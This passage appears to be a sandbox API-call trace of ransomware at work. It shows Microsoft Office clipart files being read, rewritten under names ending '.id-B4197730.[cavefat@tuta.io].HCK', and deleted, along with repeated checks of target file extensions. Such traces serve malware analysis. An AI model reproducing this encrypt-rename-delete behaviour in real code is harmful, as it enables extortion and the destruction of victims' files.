lpString2=".HCK") returned 1 [0167.007] lstrlenW (lpString="J0106020.WMF") returned 12 [0167.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106020.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0167.012] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=10060) returned 1 [0167.012] CloseHandle (hObject=0x388) returned 1 [0167.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106020.wmf")) returned 0x220 [0167.019] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106020.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0167.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106020.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0167.037] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.037] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106020.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0167.052] GetLastError () returned 0x0 [0167.052] ReadFile (in: hFile=0x378, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x274c, lpOverlapped=0x0) returned 1 [0167.054] WriteFile (in: hFile=0x388, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x2750, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x2750, lpOverlapped=0x0) returned 1 [0167.055] ReadFile (in: hFile=0x378, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0167.055] WriteFile (in: hFile=0x388, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0167.055] SetEndOfFile (hFile=0x388) returned 1 [0167.061] CloseHandle (hObject=0x388) returned 1 [0167.066] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.066] SetEndOfFile (hFile=0x378) returned 1 [0167.071] CloseHandle (hObject=0x378) returned 1 [0167.074] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0167.074] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106020.wmf")) returned 1 [0167.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0167.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0167.077] lstrlenW (lpString=".doc") returned 4 [0167.077] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.077] lstrlenW (lpString=".docx") returned 5 [0167.077] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0167.077] lstrlenW (lpString=".pdf") returned 4 [0167.077] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.077] lstrlenW (lpString=".xls") returned 4 [0167.077] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.077] lstrlenW (lpString=".xlsx") returned 5 [0167.077] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0167.077] lstrlenW (lpString=".ppt") returned 4 [0167.077] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0167.077] lstrlenW (lpString=".zip") returned 4 [0167.077] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.077] lstrlenW (lpString=".rar") returned 4 [0167.077] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.077] lstrlenW (lpString=".bz2") returned 4 [0167.077] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.077] lstrlenW (lpString=".7z") returned 3 [0167.077] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0167.077] lstrlenW (lpString=".dbf") returned 4 [0167.077] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0167.077] lstrlenW (lpString=".1cd") returned 4 [0167.077] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0167.077] lstrlenW (lpString=".jpg") returned 4 [0167.077] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0167.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0167.077] lstrlenW (lpString=".doc") returned 4 [0167.077] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.077] lstrlenW (lpString=".docx") returned 5 [0167.078] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0167.078] lstrlenW (lpString=".pdf") returned 4 [0167.078] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.078] lstrlenW (lpString=".xls") returned 4 [0167.078] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.078] lstrlenW (lpString=".xlsx") returned 5 [0167.078] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0167.078] lstrlenW (lpString=".ppt") returned 4 [0167.078] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0167.078] lstrlenW (lpString=".zip") returned 4 [0167.078] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.078] lstrlenW (lpString=".rar") returned 4 [0167.078] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.078] lstrlenW (lpString=".bz2") returned 4 [0167.078] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.078] lstrlenW (lpString=".7z") returned 3 [0167.078] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0167.078] lstrlenW (lpString=".dbf") returned 4 [0167.078] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0167.078] lstrlenW (lpString=".1cd") returned 4 [0167.078] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0167.078] lstrlenW (lpString=".jpg") returned 4 [0167.078] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.078] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0167.078] lstrlenW (lpString="J0106222.WMF") returned 12 [0167.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106222.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0167.086] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=19600) returned 1 [0167.086] CloseHandle (hObject=0x330) returned 1 [0167.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106222.wmf")) returned 0x220 [0167.089] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106222.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0167.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106222.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0167.115] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.115] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106222.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0167.141] GetLastError () returned 0x0 [0167.141] ReadFile (in: hFile=0x388, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x4c90, lpOverlapped=0x0) returned 1 [0167.143] WriteFile (in: hFile=0x308, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x4ca0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x4ca0, lpOverlapped=0x0) returned 1 [0167.144] ReadFile (in: hFile=0x388, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0167.144] WriteFile (in: hFile=0x308, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0167.144] SetEndOfFile (hFile=0x308) returned 1 [0167.153] CloseHandle (hObject=0x308) returned 1 [0167.164] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.164] SetEndOfFile (hFile=0x388) returned 1 [0167.171] CloseHandle (hObject=0x388) returned 1 [0167.175] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0167.175] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106222.wmf")) returned 1 [0167.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0167.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0167.177] lstrlenW (lpString=".doc") returned 4 [0167.177] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.177] lstrlenW (lpString=".docx") returned 5 [0167.177] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0167.177] lstrlenW (lpString=".pdf") returned 4 [0167.177] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.177] lstrlenW (lpString=".xls") returned 4 [0167.177] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.177] lstrlenW (lpString=".xlsx") returned 5 [0167.177] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0167.177] lstrlenW (lpString=".ppt") returned 4 [0167.177] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0167.177] lstrlenW (lpString=".zip") returned 4 [0167.177] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.177] lstrlenW (lpString=".rar") returned 4 [0167.177] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.177] lstrlenW (lpString=".bz2") returned 4 [0167.177] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.177] lstrlenW (lpString=".7z") returned 3 [0167.177] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0167.177] lstrlenW (lpString=".dbf") returned 4 [0167.177] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0167.177] lstrlenW (lpString=".1cd") returned 4 [0167.177] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0167.177] lstrlenW (lpString=".jpg") returned 4 [0167.177] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0167.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0167.178] lstrlenW (lpString=".doc") returned 4 [0167.178] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.178] lstrlenW (lpString=".docx") returned 5 [0167.178] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0167.178] lstrlenW (lpString=".pdf") returned 4 [0167.178] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.178] lstrlenW (lpString=".xls") returned 4 [0167.178] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.178] lstrlenW (lpString=".xlsx") returned 5 [0167.178] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0167.178] lstrlenW (lpString=".ppt") returned 4 [0167.178] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0167.178] lstrlenW (lpString=".zip") returned 4 [0167.178] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.178] lstrlenW (lpString=".rar") returned 4 [0167.178] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.178] lstrlenW (lpString=".bz2") returned 4 [0167.178] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.178] lstrlenW (lpString=".7z") returned 3 [0167.178] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0167.178] lstrlenW (lpString=".dbf") returned 4 [0167.178] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0167.178] lstrlenW (lpString=".1cd") returned 4 [0167.178] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0167.178] lstrlenW (lpString=".jpg") returned 4 [0167.178] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.178] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0167.178] lstrlenW (lpString="J0107024.WMF") returned 12 [0167.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107024.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0167.185] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=3020) returned 1 [0167.185] CloseHandle (hObject=0x2f4) returned 1 [0167.185] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107024.wmf")) returned 0x220 [0167.189] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107024.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0167.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107024.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0167.206] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.206] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107024.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0167.297] GetLastError () returned 0x0 [0167.297] ReadFile (in: hFile=0x39c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0xbcc, lpOverlapped=0x0) returned 1 [0167.299] WriteFile (in: hFile=0x330, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xbd0, lpOverlapped=0x0) returned 1 [0167.299] ReadFile (in: hFile=0x39c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0167.299] WriteFile (in: hFile=0x330, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0167.299] SetEndOfFile (hFile=0x330) returned 1 [0167.305] CloseHandle (hObject=0x330) returned 1 [0167.307] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.307] SetEndOfFile (hFile=0x39c) returned 1 [0167.310] CloseHandle (hObject=0x39c) returned 1 [0167.313] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0167.313] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107024.wmf")) returned 1 [0167.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0167.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0167.315] lstrlenW (lpString=".doc") returned 4 [0167.315] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.315] lstrlenW (lpString=".docx") returned 5 [0167.315] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0167.316] lstrlenW (lpString=".pdf") returned 4 [0167.316] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.316] lstrlenW (lpString=".xls") returned 4 [0167.316] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.316] lstrlenW (lpString=".xlsx") returned 5 [0167.316] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0167.316] lstrlenW (lpString=".ppt") returned 4 [0167.316] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0167.316] lstrlenW (lpString=".zip") returned 4 [0167.316] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.316] lstrlenW (lpString=".rar") returned 4 [0167.316] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.316] lstrlenW (lpString=".bz2") returned 4 [0167.316] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.316] lstrlenW (lpString=".7z") returned 3 [0167.316] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0167.316] lstrlenW (lpString=".dbf") returned 4 [0167.316] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0167.316] lstrlenW (lpString=".1cd") returned 4 [0167.316] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0167.316] lstrlenW (lpString=".jpg") returned 4 [0167.316] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0167.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0167.316] lstrlenW (lpString=".doc") returned 4 [0167.316] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.316] lstrlenW (lpString=".docx") returned 5 [0167.316] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0167.316] lstrlenW (lpString=".pdf") returned 4 [0167.316] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.316] lstrlenW (lpString=".xls") returned 4 [0167.316] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.316] lstrlenW (lpString=".xlsx") returned 5 [0167.316] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0167.316] lstrlenW (lpString=".ppt") returned 4 [0167.316] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0167.316] lstrlenW (lpString=".zip") returned 4 [0167.316] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.316] lstrlenW (lpString=".rar") returned 4 [0167.317] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.317] lstrlenW (lpString=".bz2") returned 4 [0167.317] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.317] lstrlenW (lpString=".7z") returned 3 [0167.317] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0167.317] lstrlenW (lpString=".dbf") returned 4 [0167.317] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0167.317] lstrlenW (lpString=".1cd") returned 4 [0167.317] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0167.317] lstrlenW (lpString=".jpg") returned 4 [0167.317] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.317] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0167.317] lstrlenW (lpString="J0107132.WMF") returned 12 [0167.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107132.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0167.322] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=48380) returned 1 [0167.322] CloseHandle (hObject=0x378) returned 1 [0167.322] 